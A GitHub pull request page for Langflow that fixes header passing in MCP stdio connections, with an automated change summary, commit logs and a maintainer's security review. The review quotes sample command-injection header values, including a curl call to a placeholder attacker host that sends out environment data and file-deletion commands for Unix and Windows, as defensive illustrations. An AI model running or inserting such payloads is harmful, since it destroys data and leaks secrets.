Skip to content

fix: correctly pass headers in mcp stdio connections#11746

Merged
Cristhianzl merged 2 commits intorelease-v1.8.0from
pass-headers-mcp-stdio-conns-v1.8
Feb 12, 2026
Merged

fix: correctly pass headers in mcp stdio connections#11746
Cristhianzl merged 2 commits intorelease-v1.8.0from
pass-headers-mcp-stdio-conns-v1.8

Conversation

@jordanrfrazier
Copy link
Collaborator

@jordanrfrazier jordanrfrazier commented Feb 11, 2026

Correctly passes all custom headers to MCP stdio connections.

Example request in logs:

[I 2026-02-11 15:11:10,772.772 mcp_proxy.httpx_client] Request Headers: {'host': 'localhost:7860', 'accept-encoding': 'gzip, deflate', 'connection': 'keep-alive', 'user-agent': 'python-httpx/0.28.1', 'header1': 'value1', 'header2': 'value', 'x-api-key': '***MASKED***', 'accept': 'application/json, text/event-stream', 'content-type': 'application/json', 'mcp-protocol-version': '2025-11-25', 'content-length': '46'}

Summary by CodeRabbit

Release Notes

  • New Features

    • Added input validation component with LLM-based guardrails for detecting harmful content.
    • Introduced SSO configuration support with configurable providers.
    • Enhanced prompt editor with double-bracket (mustache) syntax support and unique variable naming.
    • Added file removal capability to upload inputs.
  • Improvements

    • Centralized authentication service for streamlined credential handling.
    • Enhanced session renaming with message detection.
    • Improved MCP server configuration with header injection support.
    • Better connected input detection in the inspection panel.
  • Tests

    • Added comprehensive authentication service test coverage.
    • Introduced guardrails component validation tests.
    • Expanded frontend E2E test suite.

@jordanrfrazier jordanrfrazier changed the base branch from main to release-v1.8.0 February 11, 2026 20:22
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Feb 11, 2026

Important

Review skipped

Auto reviews are disabled on base/target branches other than the default branch.

Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Walkthrough

This PR implements a pluggable authentication service architecture, refactoring authentication from scattered utility functions to a centralized BaseAuthService pattern. It introduces framework-agnostic auth exceptions, updates API endpoints and services to delegate through an auth service, simplifies encryption/decryption by removing settings service dependencies, and adds a new GuardrailsComponent for input validation. Frontend changes enhance session management and prompt handling.

Changes

Cohort / File(s) Summary
Auth Service Core Infrastructure
src/lfx/src/lfx/services/auth/base.py, src/lfx/src/lfx/services/auth/service.py, src/lfx/src/lfx/services/auth/exceptions.py, src/lfx/src/lfx/services/auth/constants.py, src/lfx/src/lfx/services/auth/factory.py, src/lfx/src/lfx/services/auth/__init__.py
Introduces framework-agnostic auth architecture with abstract BaseAuthService, concrete AuthService, exception hierarchy (AuthenticationError, InvalidCredentialsError, etc.), constants, and factory registration. Typed signatures and comprehensive auth interface contracts.
Backend Auth Service Integration
src/backend/base/langflow/services/auth/base.py, src/backend/base/langflow/services/auth/service.py, src/backend/base/langflow/services/auth/utils.py, src/backend/base/langflow/services/auth/factory.py, src/backend/base/langflow/services/auth/constants.py, src/backend/base/langflow/services/auth/exceptions.py, src/backend/base/langflow/services/auth/mcp_encryption.py
Langflow-specific auth service implementation with token/API-key authentication, user validation, webhook support, encryption/decryption, and MCP handlers. Utils delegation pattern replaces in-file implementations.
API Endpoint Auth Refactoring
src/backend/base/langflow/api/v1/login.py, src/backend/base/langflow/api/v1/api_key.py, src/backend/base/langflow/api/v1/endpoints.py, src/backend/base/langflow/api/v1/users.py, src/backend/base/langflow/api/v2/mcp.py
Updates endpoints to use get_auth_service() for authentication and password operations instead of direct imports. Adds MCPServerConfig schema for request body validation.
Auth Service Dependencies & Wiring
src/backend/base/langflow/services/deps.py, src/backend/base/langflow/__main__.py, src/backend/base/langflow/initial_setup/setup.py, src/backend/base/langflow/services/utils.py, src/backend/base/langflow/services/factory.py
Adds get_auth_service() dependency getter, updates CLI/startup to use auth service for superuser creation, registers auth service in service manager, and wires service overrides.
Encryption & Key Handling Simplification
src/backend/base/langflow/api/v1/store.py, src/backend/base/langflow/services/variable/service.py, src/backend/base/langflow/services/variable/kubernetes.py
Removes settings_service parameter from encrypt_api_key/decrypt_api_key calls. Adds validation to prevent Fernet-encrypted values in GENERIC_TYPE variables.
Password & Flow Services
src/backend/base/langflow/services/flow/flow_runner.py, src/backend/base/langflow/services/utils.py
Replaces direct get_password_hash and verify_password calls with auth service delegation.
LFX Services Framework
src/lfx/src/lfx/services/auth/*, src/lfx/src/lfx/services/interfaces.py, src/lfx/src/lfx/services/schema.py, src/lfx/src/lfx/services/deps.py, src/lfx/src/lfx/services/manager.py
Framework-agnostic auth service base, exceptions, protocols, schema additions (AuthServiceProtocol, AUTH_SERVICE), and circular dependency guard in service manager.
Settings & Configuration
src/lfx/src/lfx/services/settings/auth.py, pyproject.toml, .gitignore, src/lfx/PLUGGABLE_SERVICES.md
Adds SSO configuration flags (SSO_ENABLED, SSO_PROVIDER, SSO_CONFIG_FILE), Ruff linting rules for auth service, gitignore entry, and pluggable services documentation.
New GuardrailValidator Component
src/lfx/src/lfx/components/llm_operations/guardrails.py, src/lfx/src/lfx/_assets/component_index.json, src/lfx/src/lfx/_assets/stable_hash_history.json
Introduces GuardrailsComponent for LLM-based input validation (PII, jailbreak, tokens, custom guardrails) with heuristic scoring and caching. Updates component registry.
MCP Utilities & Tools
src/lfx/src/lfx/base/mcp/util.py
Adds header injection logic for MCP Stdio command arguments, handling insertion before existing --headers flags or before URL positional arg.
Frontend Auth Tests
src/backend/tests/unit/api/v1/test_flows.py, src/backend/tests/unit/test_login.py, src/backend/tests/unit/test_cli.py, src/backend/tests/unit/test_webhook.py, src/backend/tests/unit/test_setup_superuser.py, src/backend/tests/unit/test_auth_jwt_algorithms.py, src/backend/tests/unit/test_security_cors.py
Updates auth tests to patch/use new get_auth_service() path, replaces settings service mocks with real AuthService instances, adds malformed token test.
Auth Service Unit Tests
src/backend/tests/unit/services/auth/test_auth_service.py, src/backend/tests/unit/services/auth/test_decrypt_api_key.py, src/backend/tests/unit/services/auth/test_mcp_encryption.py, src/backend/tests/unit/services/auth/test_pluggable_auth.py
New comprehensive auth service tests covering token flows, encryption, API key security, pluggable auth backends, and error scenarios.
Component & Variable Tests
src/backend/tests/unit/components/llm_operations/test_guardrails_component.py, src/backend/tests/unit/services/variable/test_service.py, src/backend/tests/unit/base/mcp/test_mcp_util.py
Adds extensive guardrails component test suite, variable encryption validation test, and MCP header injection tests.
General Tests
src/backend/tests/conftest.py, src/backend/tests/unit/api/v1/test_variable.py
Updates conftest to use get_auth_service() for password hashing; changes variable test error injection from ORM session to service layer.
Frontend Session & Playground UI
src/frontend/src/components/core/playgroundComponent/chat-view/chat-header/components/chat-header.tsx, src/frontend/src/components/core/playgroundComponent/chat-view/chat-header/components/chat-sidebar.tsx, src/frontend/src/components/core/playgroundComponent/chat-view/chat-header/components/session-selector.tsx, src/frontend/src/components/core/playgroundComponent/chat-view/chat-header/components/session-more-menu.tsx, src/frontend/src/components/core/playgroundComponent/chat-view/chat-header/hooks/use-session-has-messages.ts
Adds useSessionHasMessages hook, menu state control (menuOpen, onMenuOpenChange), and conditional rename visibility based on session message presence.
Frontend Prompt & Input Components
src/frontend/src/components/core/parameterRenderComponent/components/accordionPromptComponent/index.tsx, src/frontend/src/components/core/parameterRenderComponent/components/accordionPromptComponent/index.test.tsx, src/frontend/src/components/core/parameterRenderComponent/index.tsx, src/frontend/src/components/core/parameterRenderComponent/types.ts
Adds mustache-style double-bracket prompt handling (isDoubleBrackets prop), generateUniqueVariableName utility, and conditional modal rendering based on bracket style.
Frontend File Upload & Layout
src/frontend/src/components/core/parameterRenderComponent/components/inputFileComponent/index.tsx, src/frontend/src/components/core/playgroundComponent/chat-view/chat-input/components/no-input.tsx, src/frontend/src/components/core/playgroundComponent/chat-view/chat-input/components/text-area-wrapper.tsx, src/frontend/src/components/core/playgroundComponent/chat-view/chat-messages/messages.tsx, src/frontend/src/components/core/playgroundComponent/sliding-container/components/flow-page-sliding-container.tsx, src/frontend/src/components/ui/textarea.tsx
Adds file clear/dismiss action, text-area ResizeObserver-driven resize, removes large-screen padding, adds conditional fullscreen layout wrapping, and updates textarea styling.
Frontend Inspection & State Management
src/frontend/src/pages/FlowPage/components/InspectionPanel/components/InspectionPanelEditField.tsx, src/frontend/src/pages/FlowPage/components/InspectionPanel/__tests__/InspectionPanelEditField.test.tsx, src/frontend/src/modals/IOModal/components/IOFieldView/components/session-selector.tsx, src/frontend/src/modals/IOModal/components/sidebar-open-view.tsx, src/frontend/src/stores/flowStore.ts, src/frontend/src/stores/helpers/filter-singleton-component.ts, src/frontend/src/stores/__tests__/filter-singleton-component.test.ts
Adds flow store connection checks to disable/warn on connected field edits, singleton component filtering for ChatInput/Webhook, session menu state tracking, and comprehensive filter tests.
Frontend Utilities
src/frontend/src/utils/reactflowUtils.ts
Extends cleanEdges to include isAdvanced target field check alongside tool_mode condition.
Frontend E2E & Regression Tests
src/frontend/tests/core/unit/promptModalComponent.spec.ts, src/frontend/tests/extended/regression/general-bugs-hidden-input-edges.spec.ts, src/frontend/tests/extended/regression/general-bugs-move-flow-from-folder.spec.ts, src/frontend/tests/extended/regression/general-bugs-shard-3836.spec.ts
Adds mustache prompt modal sync test, inspection panel hidden-edge regression test, flow-rename timing waits, and file removal/re-upload verification.
Service Registration & Factory Tests
src/lfx/tests/unit/services/test_decorator_registration.py, src/lfx/tests/unit/services/test_edge_cases.py
Adds MockSessionService for service registration tests, updates clean_manager fixture, and verifies multiple decorator handling and plugin discovery.
Starter Project Data
src/backend/base/langflow/initial_setup/starter_projects/Youtube Analysis.json
Adds new edge connecting BatchRunComponent to parser component for data flow.
Auth Release Tag Handling
scripts/ci/langflow_pre_release_tag.py
Updates RC version regex to accept optional dot before "rc" per PEP 440 and simplifies rc-number incrementation logic.
.secrets.baseline
.secrets.baseline
Updates line number reference for test_setup_superuser.py line number shift from 56 to 60.

Estimated code review effort

🎯 5 (Critical) | ⏱️ ~120 minutes

Possibly related PRs

  • Implements the pluggable BaseAuthService and AuthService framework-agnostic architecture with comprehensive refactoring across backend APIs and services to delegate through centralized auth service.
  • Adds the GuardrailsComponent for LLM-based input validation with jailbreak detection, PII checking, and custom guardrail support.
  • Extends auth settings with SSO configuration flags (SSO_ENABLED, SSO_PROVIDER, SSO_CONFIG_FILE) and updates the pluggable services documentation.

Suggested labels

authentication, backend-refactoring, frontend-ui, component-addition, services-architecture

Suggested reviewers

  • viktoravelino
  • deon-sanchez
  • keval718

Important

Pre-merge checks failed

Please resolve all errors before merging. Addressing warnings is optional.

❌ Failed checks (1 error, 3 warnings)
Check name Status Explanation Resolution
Test Coverage For New Implementations ❌ Error PR lacks dedicated test files for LFX AuthService, BaseAuthService, and use-session-has-messages hook; critical bugs and security issues in review comments suggest inadequate edge case and error handling coverage. Create test files for untested auth services and React hook; add comprehensive tests for flagged issues including exception handling, state management, abstract methods, token security, and transaction rollbacks.
Docstring Coverage ⚠️ Warning Docstring coverage is 65.29% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
Test Quality And Coverage ⚠️ Warning Test suite has multiple critical issues: invalid @pytest.mark.anyio markers, MockSessionService missing super().init() calls, use-session-has-messages violates React Rules of Hooks, and insufficient coverage of initialization and error paths. Replace @pytest.mark.anyio with @pytest.mark.asyncio, add super().init() to MockSessionService, move useQuery hook before early returns, add tests for _pre_run_setup() initialization, and add MCP header quoting and API error response tests.
Test File Naming And Structure ⚠️ Warning Test file src/backend/tests/unit/services/auth/test_auth_service.py uses @pytest.mark.anyio (22 instances) instead of project-standard @pytest.mark.asyncio (574 instances elsewhere); pytest-anyio not in dependencies. Replace all @pytest.mark.anyio decorators with @pytest.mark.asyncio in test_auth_service.py to match project standards, or remove markers if using asyncio_mode="auto".
✅ Passed checks (3 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title 'fix: correctly pass headers in mcp stdio connections' directly and clearly summarizes the main change: fixing header passing in MCP stdio connections, which is a core functional change visible throughout the diff.
Excessive Mock Usage Warning ✅ Passed PR demonstrates good mock usage with deliberate refactoring toward real service usage; new tests maintain reasonable mock-to-test ratio; no excessive mocking warnings in review.
✨ Finishing touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Post copyable unit tests in a comment
  • Commit unit tests in branch pass-headers-mcp-stdio-conns-v1.8

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@github-actions github-actions bot added bug Something isn't working and removed bug Something isn't working labels Feb 11, 2026
@Cristhianzl
Copy link
Member

CRITICAL Issues

1. Command Injection via Header Values

Severity: CRITICAL / Security
Rule violated: REVIEWER_RULE > Security ("All user inputs are sanitized and validated at system boundaries"), DEVELOPMENT_RULE > Security ("Sanitize and validate all user and external inputs")

Header values are concatenated into a shell command string that is executed via bash -c (Unix) or cmd /c (Windows) in _connect_to_server (line 1059-1076). While validate_headers sanitizes for HTTP header injection (newlines, control chars), it does NOT sanitize for shell metacharacters.

A malicious header value like:

{"X-Custom": "val; rm -rf /"}
{"X-Custom": "val$(curl attacker.com/exfil?data=$(env))"}
{"X-Custom": "val & del /f /q C:\\*"}   # Windows

would result in arbitrary command execution because the full_command string is passed directly to a shell.

Fix required: Either:

  • Use shlex.quote() (Unix) / proper escaping (Windows) on each argument before joining
  • Or better: refactor to pass args as a list to StdioServerParameters directly, avoiding shell string construction entirely

2. Header Values with Spaces Are Broken

Severity: CRITICAL / Bug
Rule violated: DEVELOPMENT_RULE > Trade-offs > Correctness (#1 priority)

In _connect_to_server (line 1059), the command string is split back into args via command_str.split(" "):

command = command_str.split(" ")  # line 1059

This means a header value like Bearer token123 (which contains a space) becomes two separate tokens: Bearer and token123. The --headers key value triplet format expected by mcp-proxy is broken:

Expected:  --headers authorization "Bearer token123"
Actual:    --headers authorization Bearer token123
                                    ^^^^ ^^^^^^^^
                                    Two separate args instead of one value

On Windows, cmd /c reconstructs the string (line 1067) making this even more unpredictable.

The tests validate broken behavior - e.g., test_stdio_headers_injected_with_existing_headers_flag asserts:

assert "--headers authorization Bearer token123" in full_command

This is asserting that Bearer token123 appears as two separate words in the command, which is the bug itself.

Fix required: Quote or escape header values that contain spaces. Use shlex.quote() on Unix or equivalent for Windows.

3. Windows Compatibility: Unsafe Command Construction

Severity: CRITICAL / Cross-platform
Relevant context: Langflow runs on Windows

The " ".join([command, *args]) approach does not account for Windows-specific issues:

  • Paths with spaces (very common on Windows, e.g., C:\Program Files\...) are broken by split(" ")
  • Windows argument escaping uses " differently from Unix shells
  • cmd /c quoting rules are notoriously complex and different from bash
  • Shell metacharacters differ: &, |, ^, %VAR% are special in cmd.exe

The existing code (pre-PR) already had this architectural issue, but this PR amplifies it by injecting user-controlled data (headers) into the command string. The risk surface grows significantly.

Fix required: At minimum, ensure header values are properly escaped for both shells. Ideally, the architecture should pass args as a list rather than building a command string.


IMPORTANT Issues

4. No Validation of Header Values for Shell Safety

Severity: IMPORTANT
Rule violated: REVIEWER_RULE > Security ("External/untrusted data is never trusted without validation")

The _process_headers -> validate_headers pipeline only validates for HTTP safety (RFC 7230). There is no validation or escaping for shell safety. Since the header values end up in a shell command, a dedicated shell-escaping step is needed.

Suggestion: Add a helper that applies shlex.quote() to each individual arg token before building the command string, or better yet, avoid shell execution entirely.

5. Tests Assert Incorrect Behavior

Severity: IMPORTANT
Rule violated: DEVELOPMENT_RULE > Testing ("Tests should validate behavior, not implementation details")

Several tests validate the string representation of full_command rather than the actual parsed arguments that would reach the subprocess. Since the string is later split by spaces, the tests should verify the resulting argument list, not the joined string. This would have caught the spaces bug.

Example:

# Current (validates broken string)
assert "--headers authorization Bearer token123" in full_command

# Better (validates correct arg list)
# After refactor, verify args list directly
assert ["--headers", "authorization", "Bearer token123"] == args[idx:idx+3]

RECOMMENDED Improvements

6. Test Naming Convention

Severity: LOW
Rule violated: DEVELOPMENT_RULE > Testing ("Name tests clearly: should_[expected]when[condition]")

Test names like test_stdio_headers_injected_with_existing_headers_flag don't follow the should_[expected]_when_[condition] pattern. While this is minor and may follow existing project conventions, consider renaming for consistency:

# Current
async def test_stdio_headers_injected_with_existing_headers_flag

# Suggested
async def test_should_inject_headers_before_existing_when_headers_flag_present

7. Defensive Copy Is Good

The change from args = server_config.get("args", []) to args = list(...) is correct and prevents mutation of the original config. The corresponding test (test_stdio_does_not_mutate_original_config) is well written.


Summary Table

# Issue Severity Category
1 Command injection via header values CRITICAL Security
2 Header values with spaces are broken CRITICAL Bug
3 Windows command construction is unsafe CRITICAL Cross-platform
4 No shell-safety validation for headers IMPORTANT Security
5 Tests assert incorrect behavior IMPORTANT Testing
6 Test naming convention LOW Style
7 Defensive copy (positive) N/A Good practice

Recommended Approach for Fixes

The root cause of issues 1-4 is the architectural pattern of building a command string that is later split by spaces and executed via shell. The cleanest fix would be:

  1. Refactor _connect_to_server to accept an args list instead of a command string, avoiding the " ".join() -> split(" ") round-trip entirely
  2. If refactoring is out of scope, at minimum apply shlex.quote() (Unix) and equivalent Windows escaping to each arg token that contains user-controlled data
  3. Update tests to verify the actual argument list rather than the string representation
  4. Add integration test with header values containing spaces, shell metacharacters, and Windows-problematic characters (&, |, %, ^)

@github-actions github-actions bot added bug Something isn't working and removed bug Something isn't working labels Feb 11, 2026
@codecov
Copy link

codecov bot commented Feb 11, 2026

Codecov Report

❌ Patch coverage is 0% with 16 lines in your changes missing coverage. Please review.
✅ Project coverage is 35.03%. Comparing base (0f37c96) to head (81b7369).
⚠️ Report is 7 commits behind head on release-v1.8.0.

Files with missing lines Patch % Lines
src/lfx/src/lfx/base/mcp/util.py 0.00% 16 Missing ⚠️
Additional details and impacted files

Impacted file tree graph

@@                Coverage Diff                 @@
##           release-v1.8.0   #11746      +/-   ##
==================================================
- Coverage           35.76%   35.03%   -0.74%     
==================================================
  Files                1522     1522              
  Lines               75146    73673    -1473     
  Branches            11305    11259      -46     
==================================================
- Hits                26876    25811    -1065     
+ Misses              46853    46449     -404     
+ Partials             1417     1413       -4     
Flag Coverage Δ
backend 55.63% <ø> (-0.94%) ⬇️
lfx 42.08% <0.00%> (-0.33%) ⬇️

Flags with carried forward coverage won't be shown. Click here to find out more.

Files with missing lines Coverage Δ
src/lfx/src/lfx/base/mcp/util.py 0.00% <0.00%> (ø)

... and 26 files with indirect coverage changes

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

Copy link
Member

@Cristhianzl Cristhianzl left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lgtm

@github-actions github-actions bot added the lgtm This PR has been approved by a maintainer label Feb 12, 2026
@Cristhianzl Cristhianzl merged commit 4ff340d into release-v1.8.0 Feb 12, 2026
35 of 39 checks passed
@Cristhianzl Cristhianzl deleted the pass-headers-mcp-stdio-conns-v1.8 branch February 12, 2026 00:00
Cristhianzl added a commit that referenced this pull request Feb 12, 2026
…tion (#11751)

* merge fix

* code improvements

* [autofix.ci] apply automated fixes

* add stop button and fix scroll on message

* [autofix.ci] apply automated fixes

* add new message content for sharable pg

* fix tests until shard 43

* [autofix.ci] apply automated fixes

* fix(frontend): clean up MemoizedSidebarTrigger imports and transition classes

Sort imports, add type modifier to AllNodeType import, and split long transition class string for readability.

* fix tests

* [autofix.ci] apply automated fixes

* fix mr test

* fix jest tests

* fix sidebar jest tes

* [autofix.ci] apply automated fixes

* fix sharable playground

* [autofix.ci] apply automated fixes

* remove rename from sharable pg

* [autofix.ci] apply automated fixes

* add new message content for sharable pg

* fix: synchronize prompt state, add new mustache prompt component (#11702)

* Update state when exiting modal on accordion prompt component

* Added isDoubleBrackets and show correct modal and use correct brackets when mustache is enabled

* [autofix.ci] apply automated fixes

* added test to see if state is synchronized and mustache is enabled

* [autofix.ci] apply automated fixes

* updated mustache id and removed extra prompt call

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>

* fix(frontend): add Safari-specific padding for playground chat messages (#11720)

* fix(frontend): add Safari-specific padding for playground chat messages

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: correctly pass headers in mcp stdio connections (#11746)

* fix sharable playground

* [autofix.ci] apply automated fixes

* remove rename from sharable pg

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* fix sharable playground

* fix mcp server to use shell lexer

* [autofix.ci] apply automated fixes

* fix tests

* fix outaded component tests

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Lucas Oliveira <62335616+lucaseduoli@users.noreply.github.com>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: keval shah <kevalvirat@gmail.com>
Co-authored-by: Jordan Frazier <122494242+jordanrfrazier@users.noreply.github.com>
github-merge-queue bot pushed a commit that referenced this pull request Feb 19, 2026
* fix: parse dicts from tweaks (#11753)

* Correctly parse dicts from tweaks

* Add test

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: dict tweak parsing (#11756)

* Fix dict handling of different formats

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* cmp index

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: correctly pass headers in mcp stdio connections (#11746)

* Update positional arg logic

* Add positiona logic tests

* ruff

* [autofix.ci] apply automated fixes

* add check for tweaking code, add check or mcp field type

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Adam-Aghili added a commit that referenced this pull request Feb 20, 2026
* feat: Pluggable AuthService with abstract base class (#10702) (#11654)

feat(auth): Pluggable AuthService with abstract base class (#10702)

* feat: Introduce service registration decorator and enhance ServiceManager for pluggable service discovery

- Added `register_service` decorator to allow services to self-register with the ServiceManager.
- Enhanced `ServiceManager` to support multiple service discovery mechanisms, including decorator-based registration, config files, and entry points.
- Implemented methods for direct service class registration and plugin discovery from various sources, improving flexibility and extensibility of service management.

* feat: Implement VariableService for managing environment variables

- Introduced VariableService class to handle environment variables with in-memory caching.
- Added methods for getting, setting, deleting, and listing variables.
- Included logging for service initialization and variable operations.
- Created an __init__.py file to expose VariableService in the package namespace.

* feat: Enhance LocalStorageService with Service integration and async teardown

- Updated LocalStorageService to inherit from both StorageService and Service for improved functionality.
- Added a name attribute for service identification.
- Implemented an async teardown method for future extensibility, even though no cleanup is currently needed.
- Refactored the constructor to ensure proper initialization of both parent classes.

* feat: Implement telemetry service with abstract base class and minimal logging functionality

- Added `BaseTelemetryService` as an abstract base class defining the interface for telemetry services.
- Introduced `TelemetryService`, a lightweight implementation that logs telemetry events without sending data.
- Created `__init__.py` to expose the telemetry service in the package namespace.
- Ensured robust async methods for logging various telemetry events and handling exceptions.

* feat: Introduce BaseTracingService and implement minimal TracingService

- Added `BaseTracingService` as an abstract base class defining the interface for tracing services.
- Implemented `TracingService`, a lightweight version that logs trace events without external integrations.
- Included async methods for starting and ending traces, tracing components, and managing logs and outputs.
- Enhanced documentation for clarity on method usage and parameters.

* feat: Add unit tests for service registration decorators

- Introduced a new test suite for validating the functionality of the @register_service decorator.
- Implemented tests for various service types including LocalStorageService, TelemetryService, and TracingService.
- Verified behavior for service registration with and without overrides, ensuring correct service management.
- Included tests for custom service implementations and preservation of class functionality.
- Enhanced overall test coverage for the service registration mechanism.

* feat: Add comprehensive unit and integration tests for ServiceManager

- Introduced a suite of unit tests covering edge cases for service registration, lifecycle management, and dependency resolution.
- Implemented integration tests to validate service loading from configuration files and environment variables.
- Enhanced test coverage for various service types including LocalStorageService, TelemetryService, and VariableService.
- Verified behavior for service registration with and without overrides, ensuring correct service management.
- Ensured robust handling of error conditions and edge cases in service creation and configuration parsing.

* feat: Add unit and integration tests for minimal service implementations

- Introduced comprehensive unit tests for LocalStorageService, TelemetryService, TracingService, and VariableService.
- Implemented integration tests to validate the interaction between minimal services.
- Ensured robust coverage for file operations, service readiness, and exception handling.
- Enhanced documentation within tests for clarity on functionality and expected behavior.

* docs: Add detailed documentation for pluggable services architecture and usage

* feat: Add example configuration file for Langflow services

* docs: Update PLUGGABLE_SERVICES.md to enhance architecture benefits section

- Revised the documentation to highlight the advantages of the pluggable service system.
- Replaced the migration guide with a detailed overview of features such as automatic discovery, lazy instantiation, dependency injection, and lifecycle management.
- Clarified examples of service registration and improved overall documentation for better understanding.

* [autofix.ci] apply automated fixes

* test(services): improve variable service teardown test with public API assertions

* docs(pluggable-service-layer): add docstrings for service manager and implementations

* fix: remove duplicate teardown method from LocalStorageService

During rebase, the teardown method was added in two locations (lines 57 and 220).
Removed the duplicate at line 57, keeping the one at the end of the class (line 220)
which is the more appropriate location for cleanup methods.

* fix(tests): update service tests for LocalStorageService constructor changes

- Add MockSessionService fixtures to test files that use ServiceManager
- Update LocalStorageService test instantiation to use mock session and settings services
- Fix service count assertions to account for MockSessionService in fixtures
- Remove duplicate class-level clean_manager fixtures in test_edge_cases.py

These changes fix test failures caused by LocalStorageService requiring
session_service and settings_service parameters instead of just data_dir.

* fix(services): Harden service lifecycle methods

- Fixed Diamond Inheritance in LocalStorageService
- Added Circular Dependency Detection in _create_service_from_class
- Fixed StorageService.teardown to Have Default Implementation

* docs: Update discovery order for pluggable services

* fix(lfx): replace aiofile with aiofiles for CI compatibility

- The aiofile library uses native async I/O (libaio) which fails with
  EAGAIN (SystemError: 11, 'Resource temporarily unavailable') in
  containerized environments like GitHub Actions runners.
- Switch to aiofiles which uses thread pool executors, providing reliable
  async file I/O across all environments including containers.

* [autofix.ci] apply automated fixes

* fix(lfx): prevent race condition in plugin discovery

  The discover_plugins() method had a TOCTOU (time-of-check to time-of-use)
  race condition. Since get() uses a keyed lock (per service name), multiple
  threads requesting different services could concurrently see
  _plugins_discovered=False and trigger duplicate plugin discovery.

  Wrap discover_plugins() with self._lock to ensure thread-safe access to
  the _plugins_discovered flag and prevent concurrent discovery execution.

* [autofix.ci] apply automated fixes

* feat: Introduce service registration decorator and enhance ServiceManager for pluggable service discovery

- Added `register_service` decorator to allow services to self-register with the ServiceManager.
- Enhanced `ServiceManager` to support multiple service discovery mechanisms, including decorator-based registration, config files, and entry points.
- Implemented methods for direct service class registration and plugin discovery from various sources, improving flexibility and extensibility of service management.

* feat: Enhance LocalStorageService with Service integration and async teardown

- Updated LocalStorageService to inherit from both StorageService and Service for improved functionality.
- Added a name attribute for service identification.
- Implemented an async teardown method for future extensibility, even though no cleanup is currently needed.
- Refactored the constructor to ensure proper initialization of both parent classes.

* docs(pluggable-service-layer): add docstrings for service manager and implementations

* feat(auth): implement abstract base class for authentication services and add auth service retrieval function

* refactor(auth): move authentication logic from utils to AuthService

  Consolidate all authentication methods into the AuthService class to
  enable pluggable authentication implementations. The utils module now
  contains thin wrappers that delegate to the registered auth service.

  This allows alternative auth implementations (e.g., OIDC) to be
  registered via the pluggable services system while maintaining
  backward compatibility with existing code that imports from utils.

  Changes:
  - Move all auth logic (token creation, user validation, API key
    security, password hashing, encryption) to AuthService
  - Refactor utils.py to delegate to get_auth_service()
  - Update function signatures to remove settings_service parameter
    (now obtained from the service internally)

* refactor(auth): update authentication methods and remove settings_service parameter

  - Changed function to retrieve current user from access token instead of JWT.
  - Updated AuthServiceFactory to specify SettingsService type in create method.
  - Removed settings_service dependency from encryption and decryption functions, simplifying the code.

This refactor enhances the clarity and maintainability of the authentication logic.

* test(auth): add unit tests for AuthService and pluggable authentication

- Introduced comprehensive unit tests for AuthService, covering token creation, user validation, and authentication methods.
- Added tests for pluggable authentication, ensuring correct delegation to registered services.
- Enhanced test coverage for user authentication scenarios, including active/inactive user checks and token validation.

These additions improve the reliability and maintainability of the authentication system.

* fix(tests): update test cases to use AuthService and correct user retrieval method

- Replaced the mock for retrieving the current user from JWT to access token in the TestSuperuserCommand.
- Refactored unit tests for MCP encryption to utilize AuthService instead of a mock settings service, enhancing test reliability.
- Updated patch decorators in tests to reflect the new method of obtaining the AuthService, ensuring consistency across test cases.

These changes improve the accuracy and maintainability of the authentication tests.

* docs(pluggable-services): add auth_service to ServiceType enum documentation

* fix(auth): Add missing type hints and abstract methods to AuthServiceBase (#10710)




* [autofix.ci] apply automated fixes

* fix(auth): refactor api_key_security method to accept optional database session and improve error handling

* feat(auth): enhance AuthServiceBase with detailed design principles and JIT provisioning methods

* fix(auth): remove settings_service from encrypt/decrypt_api_key calls

After the pluggable auth refactor, encrypt_api_key and decrypt_api_key
no longer take a settings_service argument - they get it internally.

- Update check_key import path in __main__.py (moved to crud module)
- Remove settings_service argument from calls in:
  - api/v1/api_key.py
  - api/v1/store.py
  - services/variable/service.py
  - services/variable/kubernetes.py
- Fix auth service to use session_scope() instead of non-existent
  get_db_service().with_session()

* fix(auth): resolve type errors and duplicate definitions in pluggable auth branch

  - Add missing imports in auth/utils.py (Final, HTTPException, status,
    logger, SettingsService) that prevented application startup
  - Remove duplicate NoServiceRegisteredError class in lfx/services/manager.py
  - Remove duplicate teardown method in lfx/services/storage/local.py
  - Fix invalid settings_service parameter in encrypt_api_key calls
    in variable/service.py and variable/kubernetes.py
  - Add proper type guards for check_key calls to satisfy mypy
  - Add null checks for password fields in users.py endpoints

